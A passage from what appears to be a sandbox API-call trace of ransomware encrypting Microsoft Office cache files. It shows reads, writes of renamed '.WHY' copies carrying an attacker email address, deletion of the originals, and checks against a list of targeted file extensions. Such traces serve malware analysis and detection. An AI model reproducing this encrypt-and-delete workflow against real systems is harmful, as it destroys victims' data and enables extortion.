dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0061.509] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=1800) returned 1 [0061.509] CloseHandle (hObject=0x1a0) returned 1 [0061.509] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml")) returned 0x2020 [0061.509] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0061.509] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0061.510] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.510] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.510] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0061.511] GetLastError () returned 0x0 [0061.511] ReadFile (in: hFile=0x1a0, lpBuffer=0x33a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x33a0020*, lpNumberOfBytesRead=0x2c7fed4*=0x708, lpOverlapped=0x0) returned 1 [0061.804] WriteFile (in: hFile=0x1c8, lpBuffer=0x33a0020*, nNumberOfBytesToWrite=0x710, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33a0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0x710, lpOverlapped=0x0) returned 1 [0061.807] ReadFile (in: hFile=0x1a0, lpBuffer=0x33a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x33a0020*, lpNumberOfBytesRead=0x2c7fed4*=0x0, lpOverlapped=0x0) returned 1 [0061.807] WriteFile (in: hFile=0x1c8, lpBuffer=0x33a0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33a0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xea, lpOverlapped=0x0) returned 1 [0061.807] SetEndOfFile (hFile=0x1c8) returned 1 [0061.808] CloseHandle (hObject=0x1c8) returned 1 [0061.811] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.811] SetEndOfFile (hFile=0x1a0) returned 1 [0061.814] CloseHandle (hObject=0x1a0) returned 1 [0061.814] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x2020) returned 1 [0061.816] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml")) returned 1 [0061.816] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0061.816] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0061.816] lstrlenW (lpString=".doc") returned 4 [0061.817] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0061.817] lstrlenW (lpString=".docx") returned 5 [0061.817] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0061.817] lstrlenW (lpString=".pdf") returned 4 [0061.817] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0061.817] lstrlenW (lpString=".xls") returned 4 [0061.817] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0061.817] lstrlenW (lpString=".xlsx") returned 5 [0061.817] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0061.817] lstrlenW (lpString=".ppt") returned 4 [0061.817] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0061.817] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0061.818] lstrlenW (lpString=".zip") returned 4 [0061.818] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0061.818] lstrlenW (lpString=".rar") returned 4 [0061.818] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0061.818] lstrlenW (lpString=".bz2") returned 4 [0061.818] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0061.818] lstrlenW (lpString=".7z") returned 3 [0061.818] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0061.818] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0061.818] lstrlenW (lpString=".dbf") returned 4 [0061.818] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0061.818] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0061.818] lstrlenW (lpString=".1cd") returned 4 [0061.819] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0061.819] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0061.819] lstrlenW (lpString=".jpg") returned 4 [0061.819] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0061.819] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0061.819] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0061.819] lstrlenW (lpString=".doc") returned 4 [0061.819] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0061.819] lstrlenW (lpString=".docx") returned 5 [0061.819] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0061.820] lstrlenW (lpString=".pdf") returned 4 [0061.820] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0061.820] lstrlenW (lpString=".xls") returned 4 [0061.820] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0061.820] lstrlenW (lpString=".xlsx") returned 5 [0061.820] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0061.820] lstrlenW (lpString=".ppt") returned 4 [0061.820] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0061.820] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0061.820] lstrlenW (lpString=".zip") returned 4 [0061.820] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0061.820] lstrlenW (lpString=".rar") returned 4 [0061.820] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0061.820] lstrlenW (lpString=".bz2") returned 4 [0061.821] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0061.821] lstrlenW (lpString=".7z") returned 3 [0061.821] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0061.821] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0061.821] lstrlenW (lpString=".dbf") returned 4 [0061.821] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0061.821] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0061.821] lstrlenW (lpString=".1cd") returned 4 [0061.821] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0061.821] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0061.821] lstrlenW (lpString=".jpg") returned 4 [0061.821] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0061.822] lstrcmpiW (lpString1=".xml", lpString2=".WHY") returned 1 [0061.822] lstrlenW (lpString="Office32MUI.xml") returned 15 [0061.822] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0061.825] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=1383) returned 1 [0061.826] CloseHandle (hObject=0x1a0) returned 1 [0061.827] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml")) returned 0x2020 [0061.827] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0061.827] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0061.827] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.827] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.827] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0061.828] GetLastError () returned 0x0 [0061.828] ReadFile (in: hFile=0x1a0, lpBuffer=0x33a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x33a0020*, lpNumberOfBytesRead=0x2c7fed4*=0x567, lpOverlapped=0x0) returned 1 [0061.833] WriteFile (in: hFile=0x1c8, lpBuffer=0x33a0020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33a0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0x570, lpOverlapped=0x0) returned 1 [0061.835] ReadFile (in: hFile=0x1a0, lpBuffer=0x33a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x33a0020*, lpNumberOfBytesRead=0x2c7fed4*=0x0, lpOverlapped=0x0) returned 1 [0061.836] WriteFile (in: hFile=0x1c8, lpBuffer=0x33a0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33a0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0061.836] SetEndOfFile (hFile=0x1c8) returned 1 [0061.836] CloseHandle (hObject=0x1c8) returned 1 [0061.838] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.839] SetEndOfFile (hFile=0x1a0) returned 1 [0062.164] CloseHandle (hObject=0x1a0) returned 1 [0062.164] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x2020) returned 1 [0062.165] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml")) returned 1 [0062.165] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0062.165] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0062.165] lstrlenW (lpString=".doc") returned 4 [0062.165] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0062.165] lstrlenW (lpString=".docx") returned 5 [0062.165] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0062.166] lstrlenW (lpString=".pdf") returned 4 [0062.166] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0062.166] lstrlenW (lpString=".xls") returned 4 [0062.166] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0062.166] lstrlenW (lpString=".xlsx") returned 5 [0062.166] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0062.166] lstrlenW (lpString=".ppt") returned 4 [0062.166] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0062.166] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0062.166] lstrlenW (lpString=".zip") returned 4 [0062.166] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0062.166] lstrlenW (lpString=".rar") returned 4 [0062.166] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0062.167] lstrlenW (lpString=".bz2") returned 4 [0062.167] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0062.167] lstrlenW (lpString=".7z") returned 3 [0062.167] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0062.167] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0062.167] lstrlenW (lpString=".dbf") returned 4 [0062.167] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0062.167] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0062.167] lstrlenW (lpString=".1cd") returned 4 [0062.167] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0062.167] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0062.167] lstrlenW (lpString=".jpg") returned 4 [0062.168] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0062.168] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0062.168] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0062.168] lstrlenW (lpString=".doc") returned 4 [0062.168] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0062.168] lstrlenW (lpString=".docx") returned 5 [0062.168] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0062.168] lstrlenW (lpString=".pdf") returned 4 [0062.168] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0062.168] lstrlenW (lpString=".xls") returned 4 [0062.168] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0062.168] lstrlenW (lpString=".xlsx") returned 5 [0062.168] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0062.169] lstrlenW (lpString=".ppt") returned 4 [0062.169] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0062.169] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0062.169] lstrlenW (lpString=".zip") returned 4 [0062.169] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0062.169] lstrlenW (lpString=".rar") returned 4 [0062.169] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0062.169] lstrlenW (lpString=".bz2") returned 4 [0062.169] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0062.169] lstrlenW (lpString=".7z") returned 3 [0062.169] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0062.169] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0062.170] lstrlenW (lpString=".dbf") returned 4 [0062.170] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0062.170] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0062.170] lstrlenW (lpString=".1cd") returned 4 [0062.170] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0062.170] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0062.170] lstrlenW (lpString=".jpg") returned 4 [0062.170] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0062.170] lstrcmpiW (lpString1=".xml", lpString2=".WHY") returned 1 [0062.171] lstrlenW (lpString="Setup.xml") returned 9 [0062.171] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0062.171] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=1852) returned 1 [0062.171] CloseHandle (hObject=0x1a0) returned 1 [0062.171] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0062.171] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0062.172] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0062.172] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.172] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.172] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0062.173] GetLastError () returned 0x0 [0062.173] ReadFile (in: hFile=0x1a0, lpBuffer=0x33a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x33a0020*, lpNumberOfBytesRead=0x2c7fed4*=0x73c, lpOverlapped=0x0) returned 1 [0062.342] WriteFile (in: hFile=0x1f4, lpBuffer=0x33a0020*, nNumberOfBytesToWrite=0x740, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33a0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0x740, lpOverlapped=0x0) returned 1 [0062.345] ReadFile (in: hFile=0x1a0, lpBuffer=0x33a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x33a0020*, lpNumberOfBytesRead=0x2c7fed4*=0x0, lpOverlapped=0x0) returned 1 [0062.345] WriteFile (in: hFile=0x1f4, lpBuffer=0x33a0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33a0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0062.346] SetEndOfFile (hFile=0x1f4) returned 1 [0062.346] CloseHandle (hObject=0x1f4) returned 1 [0062.347] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.347] SetEndOfFile (hFile=0x1a0) returned 1 [0062.349] CloseHandle (hObject=0x1a0) returned 1 [0062.349] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x2020) returned 1 [0062.350] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0062.350] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0062.350] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0062.350] lstrlenW (lpString=".doc") returned 4 [0062.350] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0062.350] lstrlenW (lpString=".docx") returned 5 [0062.350] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0062.350] lstrlenW (lpString=".pdf") returned 4 [0062.350] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0062.350] lstrlenW (lpString=".xls") returned 4 [0062.351] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0062.351] lstrlenW (lpString=".xlsx") returned 5 [0062.351] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0062.351] lstrlenW (lpString=".ppt") returned 4 [0062.351] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0062.351] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0062.351] lstrlenW (lpString=".zip") returned 4 [0062.351] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0062.351] lstrlenW (lpString=".rar") returned 4 [0062.351] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0062.351] lstrlenW (lpString=".bz2") returned 4 [0062.351] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0062.351] lstrlenW (lpString=".7z") returned 3 [0062.351] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0062.351] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0062.352] lstrlenW (lpString=".dbf") returned 4 [0062.352] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0062.352] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0062.352] lstrlenW (lpString=".1cd") returned 4 [0062.352] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0062.352] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0062.352] lstrlenW (lpString=".jpg") returned 4 [0062.352] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0062.352] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0062.352] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0062.352] lstrlenW (lpString=".doc") returned 4 [0062.352] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0062.352] lstrlenW (lpString=".docx") returned 5 [0062.353] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0062.353] lstrlenW (lpString=".pdf") returned 4 [0062.353] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0062.353] lstrlenW (lpString=".xls") returned 4 [0062.353] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0062.353] lstrlenW (lpString=".xlsx") returned 5 [0062.353] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0062.353] lstrlenW (lpString=".ppt") returned 4 [0062.353] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0062.353] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0062.353] lstrlenW (lpString=".zip") returned 4 [0062.353] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0062.353] lstrlenW (lpString=".rar") returned 4 [0062.353] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0062.354] lstrlenW (lpString=".bz2") returned 4 [0062.354] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0062.354] lstrlenW (lpString=".7z") returned 3 [0062.354] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0062.354] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0062.354] lstrlenW (lpString=".dbf") returned 4 [0062.354] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0062.354] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0062.354] lstrlenW (lpString=".1cd") returned 4 [0062.354] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0062.354] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0062.354] lstrlenW (lpString=".jpg") returned 4 [0062.354] lstrcmpiW (lpString1=".jpg", lpString2=".xml") 